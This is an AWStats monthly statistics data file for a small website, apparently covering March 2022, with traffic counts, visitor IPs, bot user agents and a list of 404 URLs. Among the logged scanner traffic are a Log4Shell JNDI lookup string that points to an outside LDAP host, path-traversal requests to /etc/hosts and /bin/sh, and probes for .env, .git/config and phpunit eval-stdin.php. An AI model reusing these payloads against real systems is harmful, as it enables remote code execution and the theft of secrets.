File: /home/accemeff/tmp/awstats/ssl/awstats032022.acc.emeff.ca.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202203 will be lost/reset.
# Last config file used to build this data file was /home/accemeff/tmp/awstats/ssl/awstats.acc.emeff.ca.conf.
# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2013
POS_TIME 2692
POS_VISITOR 12566
POS_DAY 22371
POS_DOMAIN 3450
POS_LOGIN 4000
POS_ROBOT 4155
POS_WORMS 4663
POS_EMAILSENDER 4794
POS_EMAILRECEIVER 4937
POS_SESSION 23163
POS_SIDER 23344
POS_FILETYPES 5072
POS_DOWNLOADS 5229
POS_OS 5277
POS_BROWSER 5624
POS_SCREENSIZE 6835
POS_UNKNOWNREFERER 6909
POS_UNKNOWNREFERERBROWSER 7944
POS_ORIGIN 8824
POS_SEREFERRALS 8960
POS_PAGEREFS 9126
POS_SEARCHWORDS 9458
POS_KEYWORDS 9610
POS_MISC 2355
POS_ERRORS 9669
POS_CLUSTER 3856
POS_SIDER_404 9776
END_MAP
# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime = Date of first visit for history file
# LastTime = Date of last visit for history file
# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220401011651 36 6439 10811077991784
FirstTime 20220301003707
LastTime 20220331233216
LastUpdate 20220401081437 36 0 35 0 0
TotalVisits 490
TotalUnique 257
MonthHostsKnown 0
MonthHostsUnknown 257
END_GENERAL
# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 19 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
TotalMisc 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
END_MISC
# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 38 38 779842 45 51 11103
1 18 18 88842 52 55 88161
2 24 24 72215 51 58 41365
3 22 22 115388 36 47 7430
4 17 17 16864 48 57 7644
5 23 23 33125 43 49 6144
6 28 28 84196 41 48 5394
7 19 19 78510 31 37 48128
8 30 30 145871 36 40 12078
9 23 23 21824 41 42 83377
10 14 14 50988 39 41 5099
11 26 26 119306 54 61 7508
12 24 24 55668 69 83 21680
13 27 27 70940 44 48 42333
14 20 20 102086 25 29 2193
15 16 16 27155 36 43 4055
16 20 20 19840 30 32 5064
17 23 23 34104 31 35 4159
18 17 17 28152 28 35 6057
19 15 15 14880 33 35 5203
20 21 21 103057 41 54 10354
21 14 14 13888 24 30 42072
22 34 34 161123 73 89 8378
23 13 13 12896 44 51 4038
END_TIME
# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 26
us 267 267 926982
in 89 89 99572
gb 50 50 780467
cn 35 35 170086
ru 18 18 29145
gr 18 18 129156
nl 15 15 13888
ao 6 6 5952
dk 4 4 3968
de 3 3 2976
zz 3 3 2976
es 2 2 1984
fr 2 2 1984
se 2 2 13279
jp 1 1 992
za 1 1 992
ma 1 1 992
ee 1 1 992
my 1 1 12275
no 1 1 992
ro 1 1 12291
ua 1 1 992
ca 1 1 12281
sa 1 1 992
it 1 1 12275
mt 1 1 12279
END_DOMAIN
# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER
# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN
# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 10
no_user_agent 130 200346 20220331215551 0
(firefox/)([0-9]\.|[0-1][0]\.) 13 12896 20220330124434 0
libwww\-perl 8 7936 20220327114701 0
curl 8 1984 20220328201827 0
survey 8 193472 20220310015810 0
unknown 8 78 20220325120133 8
bot[\s_+:,\.\;\/\\-] 4 40088 20220317080824 1
Go\-http\-client/ 2 1984 20220312115048 0
java 1 992 20220307123559 0
Dalvik/ 1 992 20220327005635 0
END_ROBOT
# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS
# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER
# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER
# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 5
html 484 1293055 0 0
php 22 296184 0 0
xml 16 612397 0 0
Unknown 1 12293 0 0
env 3 36831 0 0
END_FILETYPES
# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS
# OS ID - Hits
BEGIN_OS ID - Hits - Pages 20
macosx10 1 1
ios_iphone 3 3
win10 246 246
winphone 1 1
macosx9 1 1
androidkitkat 3 3
win7 15 15
winvista 1 1
Unknown 155 155
macosx15 24 24
androidmarshmallow 1 1
winxp 2 2
macosx11 17 17
linux 12 12
linuxubuntu 26 26
macosx 11 11
android10 3 3
win8 2 2
androidpie 1 1
macosx7 1 1
END_OS
# Browser ID - Hits - Pages
BEGIN_BROWSER 56
safari10.0 1 1
Unknown 77 77
chrome55.0.2883.87 1 1
chrome42.0.2311.90 2 2
chrome60.0.3112.113 114 114
chrome88.0.4472.114 2 2
firefox20.0 1 1
chrome66.0.3359.117 2 2
chrome86.0.4 2 2
firefox83.0 2 2
chrome47.0.2526.106 1 1
chrome88.0.4324.190 7 7
chrome30.0.1599.103 1 1
chrome98.0.4758.102 2 2
chrome55.0.3109.61 1 1
android 2 2
firefox47.0 13 13
chrome41.0.2228.0 4 4
chrome59.0.3061.104 1 1
chrome87.0.4280.88 11 11
chrome45.0.2454.101 7 7
firefox95.0 2 2
chrome63.0.3239.132 1 1
chrome74.0.3729.131 4 4
chrome75.0.3770.143 1 1
chrome50.0.2661.102 2 2
chrome35.0.1916.47 1 1
firefox65.0 5 5
chrome95.0.4638.69 10 10
msie9.0 1 1
chrome92.0.4515.131 1 1
firefox78.0 2 2
safari14.1.1 1 1
netscape5.0 35 35
mozilla 44 44
chrome34.0.1847.137 7 7
firefox76.0 4 4
chrome78.0.3904.108 65 65
firefox31.0 1 1
chrome70.0.3538.77 4 4
chrome88.0.4240.193 19 19
firefox58.0 2 2
chrome81.0.4044.138 1 1
chrome41.0.2225.0 1 1
chrome31.0.1650.16 1 1
firefox62.0 20 20
safari9.1.2 1 1
chrome91.0.4472.114 1 1
chrome49.0.2623.112 5 5
chrome58.0.3029.110 1 1
chrome96.0.4664.110 20 20
chrome52.0.2743.116 1 1
chrome35.0.2117.157 1 1
firefox77.0 2 2
safari 2 2
firefox73.0 3 3
END_BROWSER
# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE
# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 13
python-requests/2.22.0 20220327051142
python-requests/2.26.0 20220330060729
Mozilla/5.0_zgrab/0.x 20220331213542
https://gdnplus.com:Gather_Analyze_Provide. 20220331191432
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220329201111
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20220331110201
Python/3.9_aiohttp/3.7.4.post0 20220319042105
HTTP_Banner_Detection_(https://security.ipip.net) 20220329020523
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220331232052
l9tcpid/v1.1.0 20220321091025
python-requests/2.27.1 20220326140546
/${jndi:ldap://185.203.118.200:1389/Exploit} 20220308213153
Mozilla/5.0 20220326065825
END_UNKNOWNREFERER
# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 10
python-requests/2.27.1 20220326140546
/${jndi:ldap://185.203.118.200:1389/Exploit} 20220308213153
python-requests/2.26.0 20220330060729
https://gdnplus.com:Gather_Analyze_Provide. 20220331191432
l9tcpid/v1.1.0 20220321091025
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220329201111
Python/3.9_aiohttp/3.7.4.post0 20220319042105
HTTP_Banner_Detection_(https://security.ipip.net) 20220329020523
python-requests/2.22.0 20220327051142
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220331232052
END_UNKNOWNREFERERBROWSER
# Origin - Pages - Hits
BEGIN_ORIGIN 6
From0 494 494
From1 0 0
From2 2 2
From3 30 30
From4 0 0
From5 0 0
END_ORIGIN
# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com_hk 2 2
END_SEREFERRALS
# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 5
http://webmail.acc.emeff.ca/wp-login.php 10 10
http://cpanel.acc.emeff.ca/wp-login.php 10 10
http://webmail.acc.emeff.ca 5 5
http://cpanel.acc.emeff.ca 4 4
http://104.36.149.61:80 1 1
END_PAGEREFS
# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS
# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS
# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
401 117 5029
302 4 0
404 777 0
END_ERRORS
# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 118
/infos.php 1 -
/smartbi/vision/packageinfo.txt 1 -
/aab9 2 -
/evox/about 4 -
/m1Qm 1 -
/commit.php 2 -
/sdk 4 -
/owa/auth.owa 1 -
/ab2g 2 -
/flu/403.html 4 -
/c/version.js 4 -
/query 3 -
/nmaplowercheck1647363522 1 -
/services/stickers.php 1 -
/temp.php 1 -
/Telerik.Web.UI.WebResource.axd 2 -
/admin/ 2 -
/index.php 16 -
/HNAP1 4 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 33 -
/resolve 4 -
/cgi-bin/../../../../../../../../../etc/hosts 2 -
/HNAP1/ 2 https://104.36.149.61/
/php_info.php 1 -
/telescope/requests 2 -
/GponForm/diag_Form 1 -
/script 1 -
/stream/live.php 4 -
/logon/LogonPoint/custom.html 2 -
/manager/html 1 -
/actuator/health 21 -
/autodiscover/autodiscover.json 14 -
/solr/ 2 -
/php.php 1 -
/.git/config 39 -
/vision/packageinfo.txt 1 -
/cgi-bin/../../../../bin/sh 19 -
/yBOR 1 -
/sitemap.xml 7 -
/Autodiscover/Autodiscover.xml 18 -
/owa/auth/logon.aspx 43 -
/cgi-bin/welcome 9 -
/server-status 2 -
/favicon.ico/ 1 -
/remote/login 3 -
/vpn/index.html 2 -
/i.php 1 -
/.env 113 -
/stalker_portal/c/version.js 4 -
/dniapi/userInfos 1 -
/portal/webclient/index.html 1 -
/jianghu/ganghood/config.js 1 -
/mifs/. 22 https://104.36.149.61:443
/.DS_Store 2 -
/owa/ 1 -
/infophp.php 1 -
/portal/info.jsp 1 -
//.well-known/security.txt 1 -
/.well-known/security.txt 7 -
/phpversion.php 1 -
/system_api.php 4 -
/pinfo.php 1 -
//robots.txt 1 -
/s/lkx/_/ 2 -
/giW5 1 -
/HWEx 1 -
/spog/welcome 8 -
/api/v1 1 -
/wp-login.php 1 -
/text4041647079595 1 -
/ReportServer 4 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 35 -
/login.action 2 -
/login 5 -
/dashboard/phpinfo.php 1 -
/linusadmin-phpinfo.php 1 -
/asdf.php 1 -
/users/sign_in 2 -
/text4041647134034 1 -
/cgi-bin/config.exp 2 -
/old_phpinfo.php 1 -
/console/ 18 -
/remote/fgt_lang 9 -
/robots.txt 33 -
/jenkins/login 1 -
/icons/sphere1.png 1 -
/.json 2 -
/aaa9 2 -
/text4041648537327 1 -
/owa/auth/x.js 6 -
/time.php 1 -
/sdk/ 1 -
/currentsetting.htm 2 -
/php-info.php 1 -
/_ignition/execute-solution 23 -
/api/geojson 8 -
/common/info.cgi 1 -
/phpinfo.php 1 -
///remote/fgt_lang 15 -
/logon/LogonPoint/index.html 2 -
/bag2 6 -
/api/system/deviceinfo 1 -
//sitemap.xml 1 -
/info.php 3 -
/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 1 -
/showLogin.cc 2 -
/ 79 -
/idx_config/ 2 -
//a2billing/customer/templates/default/footer.tpl 1 -
/webfig/ 1 -
/functionRouter 1 -
/dns-query 6 -
/cgi-bin/ 2 -
/streaming/clients_live.php 4 -
/test.php 1 -
/.git/HEAD 4 -
/config.json 7 -
/zabbix/ 2 -
END_SIDER_404
# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 257
45.146.165.37 49 49 48608 20220324152812
51.120.70.182 19 19 727138 20220326005013
45.155.204.146 16 16 15872 20220331233216
193.118.53.202 11 11 10912 20220328144138
128.14.133.58 10 10 9920 20220330165813
193.118.53.210 10 10 9920 20220329195505
128.14.134.170 9 9 8928 20220331175220
23.251.102.74 9 9 8928 20220329173419
128.14.134.134 8 8 7936 20220331115959
162.221.192.26 7 7 6944 20220316002919
193.118.53.194 7 7 6944 20220326094632
128.14.141.34 7 7 6944 20220331050155
103.203.57.25 6 6 5952 20220326122003
128.1.248.26 6 6 5952 20220331084449
103.203.59.1 6 6 5952 20220329020523
128.14.209.162 5 5 4960 20220319020447
103.203.57.10 5 5 4960 20220330162019
103.153.254.110 4 4 3968 20220328164336
213.32.122.82 4 4 3968 20220328222232
94.102.61.8 4 4 3968 20220330060729
167.71.180.188 4 4 3968 20220327195857
183.136.226.3 4 4 3968 20220328115810
92.118.160.1 4 4 41068 20220321143544
128.1.248.42 4 4 3968 20220321235113
71.6.232.7 4 4 3968 20220328203502
185.220.102.242 1 1 992 20220303122126
148.66.129.183 1 1 12279 20220306133632
167.248.133.120 2 2 24575 20220324083332
162.142.125.220 1 1 992 20220302172811
23.129.64.217 1 1 992 20220324142538
139.162.207.84 3 3 2976 20220330072744
92.118.160.41 1 1 992 20220307195833
192.241.224.125 1 1 992 20220320073504
104.206.128.66 1 1 992 20220326053611
45.79.74.141 1 1 992 20220317121132
192.241.225.219 1 1 992 20220318143843
18.217.38.150 1 1 992 20220320072133
213.212.132.47 1 1 12275 20220319010124
23.236.147.154 1 1 992 20220307224245
167.248.133.117 3 3 25557 20220328082613
92.118.161.41 1 1 992 20220323065917
34.86.35.10 2 2 1984 20220329020419
103.74.54.48 1 1 12276 20220316142915
192.241.226.105 1 1 992 20220311045458
185.220.101.168 1 1 992 20220309174556
167.94.138.61 1 1 992 20220306081041
156.146.50.169 1 1 0 20220308123912
104.206.128.26 1 1 992 20220304114821
184.168.96.189 1 1 12278 20220302144915
185.220.100.254 2 2 1984 20220327185015
85.209.41.52 1 1 992 20220323090324
18.141.83.18 2 2 1984 20220316161929
34.86.35.7 1 1 38092 20220308104226
123.118.107.58 1 1 992 20220319042105
185.180.143.77 1 1 992 20220315215517
185.180.143.138 1 1 992 20220302123933
167.71.63.47 1 1 12279 20220319020333
23.91.96.133 1 1 38112 20220310023924
45.227.254.24 1 1 992 20220326140546
192.241.197.12 1 1 992 20220327155757
54.219.176.169 1 1 992 20220321002942
34.77.162.24 1 1 992 20220318011051
209.145.55.127 1 1 992 20220321091025
178.32.197.84 1 1 992 20220315064749
20.197.180.8 3 3 36855 20220317220654
209.141.51.49 2 2 13261 20220316063010
66.240.236.109 3 3 2976 20220330083514
106.75.85.117 1 1 992 20220331224421
204.12.202.91 1 1 992 20220326180938
65.108.148.250 1 1 12293 20220327051142
211.95.50.8 1 1 12275 20220301205813
159.65.248.61 1 1 992 20220325021408
92.118.160.9 2 2 1984 20220321045759
183.136.225.9 2 2 1984 20220328203950
61.147.15.67 1 1 992 20220327005638
138.197.2.137 1 1 992 20220316021842
23.129.64.145 1 1 992 20220330232427
35.195.93.98 1 1 992 20220321193213
162.142.125.7 1 1 992 20220321130843
92.118.160.5 2 2 1984 20220328224711
167.94.138.47 1 1 992 20220304160507
152.32.135.231 1 1 38137 20220310030918
94.74.123.228 1 1 992 20220305193517
167.248.133.62 1 1 992 20220331110201
167.248.133.60 1 1 992 20220328062944
45.134.144.129 1 1 992 20220321021842
85.119.122.23 1 1 12279 20220310113716
118.193.32.180 1 1 992 20220310023803
167.94.138.44 1 1 992 20220328204510
138.197.158.214 1 1 992 20220330134544
192.241.221.86 1 1 992 20220302023233
101.227.1.196 1 1 12276 20220316063038
95.128.46.215 1 1 12281 20220310145325
68.183.56.29 1 1 992 20220305162546
162.142.125.10 2 2 1984 20220328062031
172.105.161.142 2 2 1984 20220302115212
8.26.182.80 1 1 992 20220301035917
154.209.125.40 1 1 992 20220306113103
23.250.19.242 1 1 992 20220303232923
34.86.35.13 1 1 38092 20220318070350
104.140.188.14 1 1 992 20220308232047
211.95.50.173 1 1 12275 20220319122017
154.209.125.42 2 2 1984 20220319012516
159.253.25.213 1 1 12287 20220330224018
209.141.36.231 2 2 24545 20220317220533
167.94.138.118 1 1 992 20220322025300
139.162.215.70 1 1 992 20220323072629
194.110.115.18 1 1 992 20220316142735
34.77.162.4 1 1 992 20220322223542
162.142.125.9 3 3 2976 20220324124401
34.140.248.32 1 1 992 20220321193213
103.14.35.145 1 1 992 20220307172626
167.248.133.61 3 3 25538 20220311072611
45.79.74.128 1 1 992 20220317104920
192.241.218.238 1 1 992 20220306122325
192.241.224.157 1 1 992 20220330173210
50.17.87.104 1 1 992 20220305233455
34.77.162.6 1 1 38092 20220314224648
101.227.1.199 1 1 12278 20220311112034
205.185.117.203 1 1 992 20220317220523
66.240.236.116 1 1 992 20220317175051
35.170.245.89 1 1 992 20220301194001
165.227.185.28 1 1 992 20220328211131
167.94.146.59 1 1 992 20220319091738
34.86.35.19 1 1 992 20220307192113
192.241.216.107 1 1 992 20220329105156
96.57.228.154 1 1 992 20220331050755
66.115.173.18 1 1 12280 20220316184452
111.7.96.166 1 1 12273 20220317220534
34.86.35.18 1 1 992 20220331232052
154.209.125.41 1 1 992 20220311022249
167.94.138.119 2 2 1984 20220324234046
89.248.168.194 1 1 992 20220321050636
192.241.213.231 1 1 992 20220331213542
192.241.222.80 1 1 992 20220312055203
111.7.96.171 1 1 12269 20220301035900
185.142.236.41 2 2 1984 20220322154257
42.193.23.161 1 1 12275 20220317085647
137.184.164.166 1 1 992 20220323014616
162.142.125.219 3 3 25532 20220318084516
167.248.133.119 1 1 992 20220322183426
162.142.125.8 1 1 992 20220327185355
209.141.35.128 3 3 25546 20220319121957
192.241.217.16 1 1 992 20220303055158
221.130.37.141 1 1 992 20220322213028
209.141.36.112 2 2 24546 20220301205800
154.209.125.47 2 2 1984 20220329203256
20.70.17.211 2 2 24552 20220324001455
8.26.182.59 1 1 12276 20220316063033
119.90.52.36 1 1 992 20220314200834
8.31.2.50 1 1 12275 20220317220511
3.70.215.22 1 1 992 20220309211625
198.20.87.98 1 1 992 20220322210314
185.56.83.82 1 1 992 20220316164153
51.254.49.100 1 1 992 20220315075320
167.94.146.60 3 3 2976 20220331015023
192.241.214.193 1 1 992 20220324150939
18.170.116.88 1 1 0 20220310052053
20.124.14.96 1 1 992 20220317130119
34.86.35.28 1 1 992 20220303221222
211.95.50.7 3 3 36812 20220317220522
185.162.235.162 2 2 1984 20220315131048
146.59.233.33 1 1 992 20220318125526
34.86.35.15 2 2 1984 20220323003516
209.141.51.222 3 3 25537 20220317220538
54.69.173.74 1 1 992 20220306205053
160.116.22.22 1 1 992 20220325160049
125.64.94.138 1 1 992 20220301061932
50.31.21.9 2 2 992 20220315125848
185.142.236.40 1 1 992 20220323143650
205.185.122.184 2 2 13261 20220319122014
34.96.130.2 1 1 992 20220329010152
204.12.198.242 1 1 992 20220309062924
118.101.36.231 1 1 12275 20220314133848
64.90.48.195 1 1 12279 20220306143414
192.241.225.108 1 1 992 20220326040558
34.96.130.0 1 1 992 20220316033457
34.86.35.8 1 1 992 20220302021008
92.118.160.57 2 2 39084 20220312131117
92.118.160.17 2 2 39084 20220326161650
172.105.161.246 1 1 992 20220308084353
207.55.255.20 1 1 12280 20220301003707
167.248.133.45 3 3 2976 20220330220334
91.123.18.217 1 1 12281 20220303013258
45.33.96.205 1 1 992 20220307181756
209.141.41.193 2 2 1984 20220317220506
23.129.64.218 1 1 992 20220306122151
221.130.37.154 1 1 992 20220324152428
130.211.54.158 2 2 1984 20220308001041
92.118.161.17 1 1 992 20220312093538
167.94.138.63 1 1 992 20220311043420
45.83.64.48 1 1 992 20220325033923
45.134.144.134 1 1 992 20220328053824
81.39.111.122 2 2 1984 20220318082758
221.130.37.149 1 1 992 20220319064708
60.217.75.69 4 4 3968 20220326065825
80.82.77.192 2 2 1984 20220311113258
193.231.129.34 1 1 12291 20220327062226
45.83.64.146 1 1 992 20220330042345
192.241.225.192 1 1 992 20220314051739
23.90.160.146 1 1 992 20220301113132
223.71.167.165 2 2 1984 20220327034658
204.13.154.47 1 1 992 20220306033803
71.6.135.131 1 1 992 20220331040543
184.168.103.173 1 1 12294 20220331013245
185.180.143.72 1 1 992 20220331182114
91.240.118.137 1 1 0 20220326094354
45.83.66.94 1 1 992 20220302122450
173.201.176.153 1 1 12281 20220321131357
23.239.4.107 1 1 992 20220318103414
104.140.188.18 1 1 992 20220319125219
34.86.35.6 2 2 1984 20220325182852
8.142.173.46 1 1 992 20220320000720
92.118.160.49 1 1 992 20220329201111
211.95.50.5 2 2 24537 20220311112012
195.37.190.89 3 3 2976 20220316011157
192.241.213.115 1 1 992 20220321181527
101.43.6.219 1 1 992 20220330072728
34.77.162.15 1 1 992 20220302034357
192.241.212.230 1 1 992 20220316120225
45.83.67.197 1 1 992 20220320114318
167.172.79.47 1 1 12280 20220323170032
111.28.189.51 1 1 992 20220305012801
34.96.130.8 1 1 992 20220311181726
185.180.143.79 2 2 1984 20220328083633
5.157.38.50 1 1 992 20220308213153
167.248.133.44 2 2 1984 20220325200437
34.77.162.1 2 2 39084 20220311172327
192.241.224.49 1 1 992 20220315060518
92.118.161.37 1 1 992 20220302000508
162.0.235.233 1 1 12281 20220323131040
128.14.209.170 4 4 3968 20220328092227
170.130.187.22 1 1 992 20220331191432
192.241.224.69 1 1 992 20220323101557
184.168.96.143 1 1 12291 20220327033342
34.96.130.6 1 1 38104 20220301011418
92.118.160.37 1 1 992 20220316070510
185.247.226.98 1 1 992 20220321072508
192.53.170.243 2 2 1984 20220329010101
167.248.133.118 1 1 992 20220305042126
167.94.138.45 2 2 1984 20220315152534
45.79.74.99 1 1 992 20220318105106
45.80.106.12 1 1 992 20220305184103
162.240.15.168 1 1 12275 20220321151501
192.241.222.117 1 1 992 20220310001535
156.146.50.188 1 1 0 20220305135141
167.94.145.57 2 2 1984 20220320162749
104.244.77.101 1 1 992 20220312224840
192.241.217.72 1 1 992 20220305015047
185.236.106.197 1 1 992 20220305065214
45.83.67.150 1 1 992 20220316163750
94.102.61.52 2 2 1984 20220322134123
74.207.245.116 3 3 2976 20220318114841
185.180.143.137 1 1 992 20220301221149
128.199.224.36 1 1 992 20220331041217
192.241.218.74 1 1 992 20220308220822
23.90.160.114 2 2 1984 20220316132425
END_VISITOR
# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 31
20220301 26 26 164437 26
20220302 22 22 33110 20
20220303 12 12 23193 12
20220304 12 12 11904 12
20220305 20 20 18848 20
20220306 18 18 40430 18
20220307 11 11 10912 11
20220308 14 14 49996 13
20220309 6 6 5952 6
20220310 17 17 149813 17
20220311 25 25 92489 23
20220312 13 13 49996 13
20220313 7 7 6944 7
20220314 12 12 97387 12
20220315 15 15 13888 14
20220316 27 27 94477 26
20220317 25 25 115083 23
20220318 20 20 79496 17
20220319 19 19 75262 19
20220320 12 12 11904 12
20220321 27 27 86456 26
20220322 12 12 11904 12
20220323 13 13 35473 13
20220324 11 11 56071 9
20220325 7 7 6944 7
20220326 33 33 740034 15
20220327 15 15 48779 15
20220328 23 23 45397 21
20220329 17 17 16864 16
20220330 16 16 27167 16
20220331 19 19 30150 19
END_DAY
# Session range - Number of visits
BEGIN_SESSION 4
15mn-30mn 1
5mn-15mn 1
30mn-1h 4
0s-30s 484
END_SESSION
# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 22
/ 484 1293055 467 466
/wp-login.php 20 245622 20 20
/.env 3 36831 2 1
//web/wp-includes/wlwmanifest.xml 1 38274 0 0
//wp-includes/wlwmanifest.xml 1 38270 0 0
//cms/wp-includes/wlwmanifest.xml 1 38274 0 0
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 12305 0 1
//wp2/wp-includes/wlwmanifest.xml 1 38274 0 0
//website/wp-includes/wlwmanifest.xml 1 38278 0 0
//2019/wp-includes/wlwmanifest.xml 1 38275 0 0
//news/wp-includes/wlwmanifest.xml 1 38275 0 0
//wordpress/wp-includes/wlwmanifest.xml 1 38280 0 0
//xmlrpc.php 1 38257 0 0
//shop/wp-includes/wlwmanifest.xml 1 38275 0 0
//2020/wp-includes/wlwmanifest.xml 1 38275 0 0
/.git/config 1 12293 1 1
//test/wp-includes/wlwmanifest.xml 1 38275 0 0
//blog/wp-includes/wlwmanifest.xml 1 38275 0 0
//wp1/wp-includes/wlwmanifest.xml 1 38274 0 0
//sito/wp-includes/wlwmanifest.xml 1 38275 0 1
//site/wp-includes/wlwmanifest.xml 1 38275 0 0
//wp/wp-includes/wlwmanifest.xml 1 38273 0 0
END_SIDER